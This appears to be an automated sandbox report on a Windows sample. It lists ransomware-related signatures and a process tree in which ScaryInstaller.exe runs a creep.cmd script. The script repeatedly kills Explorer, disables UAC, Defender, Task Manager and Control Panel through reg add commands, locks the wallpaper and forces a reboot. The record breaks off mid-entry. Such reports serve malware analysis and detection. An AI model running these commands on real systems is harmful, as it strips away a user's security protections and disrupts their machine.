Analysis

  • max time kernel
    535s
  • max time network
    540s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/09/2023, 08:51

Errors

Reason
Machine shutdown

General

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

  • Chaos Ransomware 9 IoCs
  • UAC bypass 3 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 14 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops desktop.ini file(s) 34 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Sets desktop wallpaper using registry 2 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 9 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 10 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 48 IoCs
  • Modifies registry key 1 TTPs 16 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 34 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://google.com
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa877246f8,0x7ffa87724708,0x7ffa87724718
      2⤵
        PID:1216
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        2⤵
          PID:4208
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4080
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2884 /prefetch:8
          2⤵
            PID:2004
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1
            2⤵
              PID:2376
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
              2⤵
                PID:2752
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4928 /prefetch:1
                2⤵
                  PID:2260
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5400 /prefetch:8
                  2⤵
                    PID:840
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5400 /prefetch:8
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3116
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:1
                    2⤵
                      PID:3316
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
                      2⤵
                        PID:1044
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:1
                        2⤵
                          PID:4440
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
                          2⤵
                            PID:3764
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4112 /prefetch:1
                            2⤵
                              PID:4364
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:1
                              2⤵
                                PID:3044
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3860 /prefetch:1
                                2⤵
                                  PID:4556
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
                                  2⤵
                                    PID:1504
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4840 /prefetch:1
                                    2⤵
                                      PID:5016
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
                                      2⤵
                                        PID:4184
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4864 /prefetch:2
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5024
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:1
                                        2⤵
                                          PID:4676
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4688 /prefetch:8
                                          2⤵
                                            PID:2332
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3304 /prefetch:8
                                            2⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3168
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
                                            2⤵
                                              PID:6124
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3444 /prefetch:8
                                              2⤵
                                                PID:4124
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
                                                2⤵
                                                  PID:4780
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2148,1936709834566088623,2977675678569896880,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3400 /prefetch:8
                                                  2⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4456
                                                • C:\Users\Admin\Downloads\ScaryInstaller.exe
                                                  "C:\Users\Admin\Downloads\ScaryInstaller.exe"
                                                  2⤵
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  PID:2260
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A914.tmp\creep.cmd" "
                                                    3⤵
                                                    • Checks computer location settings
                                                    • Modifies registry class
                                                    PID:4128
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /f /im explorer.exe
                                                      4⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2856
                                                    • C:\Users\Admin\AppData\Local\Temp\A914.tmp\CreepScreen.exe
                                                      CreepScreen.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:3328
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout 5 /nobreak
                                                      4⤵
                                                      • Delays execution with timeout.exe
                                                      PID:2256
                                                    • C:\Users\Admin\AppData\Local\Temp\A914.tmp\melter.exe
                                                      melter.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:5568
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout 10 /nobreak
                                                      4⤵
                                                      • Delays execution with timeout.exe
                                                      PID:4832
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /f /im CreepScreen.exe
                                                      4⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:5576
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /f /im melter.exe
                                                      4⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4388
                                                    • C:\Program Files\VideoLAN\VLC\vlc.exe
                                                      "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\A914.tmp\scarr.mp4"
                                                      4⤵
                                                      • Suspicious behavior: AddClipboardFormatListener
                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      • Suspicious use of FindShellTrayWindow
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:2716
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
                                                      4⤵
                                                      • Sets desktop wallpaper using registry
                                                      PID:1932
                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                      RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                      4⤵
                                                        PID:1956
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
                                                        4⤵
                                                        • Modifies registry key
                                                        PID:3772
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                        4⤵
                                                        • UAC bypass
                                                        • Modifies registry key
                                                        PID:5764
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                        4⤵
                                                          PID:5824
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                          4⤵
                                                          • Modifies registry key
                                                          PID:5832
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
                                                          4⤵
                                                            PID:5856
                                                          • C:\Windows\SysWOW64\net.exe
                                                            net user Admin /fullname:"IT'S TOO LATE!!!"
                                                            4⤵
                                                              PID:5900
                                                              • C:\Windows\SysWOW64\net1.exe
                                                                C:\Windows\system32\net1 user Admin /fullname:"IT'S TOO LATE!!!"
                                                                5⤵
                                                                  PID:5908
                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                timeout 8 /nobreak
                                                                4⤵
                                                                • Delays execution with timeout.exe
                                                                PID:5944
                                                              • C:\Windows\SysWOW64\shutdown.exe
                                                                shutdown /r /t 5 /c "I CATCH YOU AND EAT YOUR FACE!!!"
                                                                4⤵
                                                                  PID:5228
                                                            • C:\Users\Admin\Downloads\ScaryInstaller.exe
                                                              "C:\Users\Admin\Downloads\ScaryInstaller.exe"
                                                              2⤵
                                                              • Checks computer location settings
                                                              • Executes dropped EXE
                                                              PID:5024
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AEF0.tmp\creep.cmd" "
                                                                3⤵
                                                                • Checks computer location settings
                                                                • Modifies registry class
                                                                PID:2632
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /f /im explorer.exe
                                                                  4⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:3712
                                                                • C:\Users\Admin\AppData\Local\Temp\AEF0.tmp\CreepScreen.exe
                                                                  CreepScreen.exe
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:5480
                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                  timeout 5 /nobreak
                                                                  4⤵
                                                                  • Delays execution with timeout.exe
                                                                  PID:5504
                                                                • C:\Users\Admin\AppData\Local\Temp\AEF0.tmp\melter.exe
                                                                  melter.exe
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  PID:3960
                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                  timeout 10 /nobreak
                                                                  4⤵
                                                                  • Delays execution with timeout.exe
                                                                  PID:1856
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /f /im CreepScreen.exe
                                                                  4⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5728
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /f /im melter.exe
                                                                  4⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:5836
                                                                • C:\Program Files\VideoLAN\VLC\vlc.exe
                                                                  "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\AEF0.tmp\scarr.mp4"
                                                                  4⤵
                                                                    PID:956
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
                                                                    4⤵
                                                                    • Sets desktop wallpaper using registry
                                                                    PID:5760
                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                    4⤵
                                                                      PID:6040
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
                                                                      4⤵
                                                                      • Modifies registry key
                                                                      PID:5308
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                      4⤵
                                                                      • UAC bypass
                                                                      • Modifies registry key
                                                                      PID:6084
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
                                                                      4⤵
                                                                        PID:6120
                                                                      • C:\Windows\SysWOW64\net.exe
                                                                        net user Admin /fullname:"IT'S TOO LATE!!!"
                                                                        4⤵
                                                                          PID:3648
                                                                          • C:\Windows\SysWOW64\net1.exe
                                                                            C:\Windows\system32\net1 user Admin /fullname:"IT'S TOO LATE!!!"
                                                                            5⤵
                                                                              PID:2608
                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                            timeout 8 /nobreak
                                                                            4⤵
                                                                            • Delays execution with timeout.exe
                                                                            PID:2516
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                                            4⤵
                                                                            • Modifies registry key
                                                                            PID:6100
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                                            4⤵
                                                                              PID:6088
                                                                            • C:\Windows\SysWOW64\shutdown.exe
                                                                              shutdown /r /t 5 /c "I CATCH YOU AND EAT YOUR FACE!!!"
                                                                              4⤵
                                                                                PID:5280
                                                                          • C:\Users\Admin\Downloads\ScaryInstaller.exe
                                                                            "C:\Users\Admin\Downloads\ScaryInstaller.exe"
                                                                            2⤵
                                                                            • Checks computer location settings
                                                                            • Executes dropped EXE
                                                                            PID:5324
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C67F.tmp\creep.cmd" "
                                                                              3⤵
                                                                              • Checks computer location settings
                                                                              • Modifies registry class
                                                                              PID:4940
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill /f /im explorer.exe
                                                                                4⤵
                                                                                • Kills process with taskkill
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:5276
                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                timeout 5 /nobreak
                                                                                4⤵
                                                                                • Delays execution with timeout.exe
                                                                                PID:1864
                                                                              • C:\Users\Admin\AppData\Local\Temp\C67F.tmp\CreepScreen.exe
                                                                                CreepScreen.exe
                                                                                4⤵
                                                                                • Executes dropped EXE
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:4688
                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                timeout 10 /nobreak
                                                                                4⤵
                                                                                • Delays execution with timeout.exe
                                                                                PID:5532
                                                                              • C:\Users\Admin\AppData\Local\Temp\C67F.tmp\melter.exe
                                                                                melter.exe
                                                                                4⤵
                                                                                • Executes dropped EXE
                                                                                PID:1624
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill /f /im CreepScreen.exe
                                                                                4⤵
                                                                                • Kills process with taskkill
                                                                                PID:4116
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill /f /im melter.exe
                                                                                4⤵
                                                                                • Kills process with taskkill
                                                                                PID:1168
                                                                              • C:\Program Files\VideoLAN\VLC\vlc.exe
                                                                                "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\C67F.tmp\scarr.mp4"
                                                                                4⤵
                                                                                  PID:4528
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
                                                                                  4⤵
                                                                                  • Sets desktop wallpaper using registry
                                                                                  PID:5212
                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                                  4⤵
                                                                                    PID:872
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
                                                                                    4⤵
                                                                                    • Modifies registry key
                                                                                    PID:3116
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                    4⤵
                                                                                    • UAC bypass
                                                                                    • Modifies registry key
                                                                                    PID:1316
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                                                    4⤵
                                                                                      PID:2944
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                                                      4⤵
                                                                                      • Modifies registry key
                                                                                      PID:3740
                                                                                    • C:\Windows\SysWOW64\reg.exe
